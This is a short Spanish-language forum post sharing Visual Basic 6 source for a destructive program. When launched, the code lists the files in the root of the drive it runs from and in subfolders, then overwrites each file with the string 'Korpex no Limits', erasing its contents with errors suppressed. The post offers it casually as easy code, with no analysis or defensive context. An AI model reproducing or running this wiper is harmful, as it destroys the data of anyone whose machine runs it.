una tonteria muy facilona, a ver si le sirve a alguien
VB6. No hace falta decir lo que hace verdad?
---------------------------------------------------------------------------------
' codeado por [Korpex]
Dim miLista(1 To 2000) As String
Dim n As Long
Dim rulando As Boolean
Const CADENAASESINA = "Korpex no Limits"
Private Sub Form_Load()
rulando = False
DirList (Left(App.Path, 3))
End Sub
Sub DirList(RutA As String)
Dim d As String
n = 0
d = Dir(RutA & "*.*", vbDirectory)
While d <> ""
n = n + 1
miLista(n) = d
d = Dir
Wend
FuckInsert (RutA)
End Sub
Sub FuckInsert(RuteToFuck As String)
Dim x As Long
For x = 3 To (n)
If InStr(miLista(x), ".") <> 0 Then
On Local Error Resume Next
Open (RuteToFuck & miLista(x)) For Output As #1
Print #1, , CADENAASESINA
Close #1
On Local Error GoTo 0
End If
Next x
If rulando = False Then
For w = 1 To n
If InStr(miLista(w), ".") = 0 Then
DirList (RuteToFuck & miLista(w) & "\")
rulando = True
End If
Next w
Else
rulando = False
End If
End Sub
-----------------------------------------------------------------------------------
Autor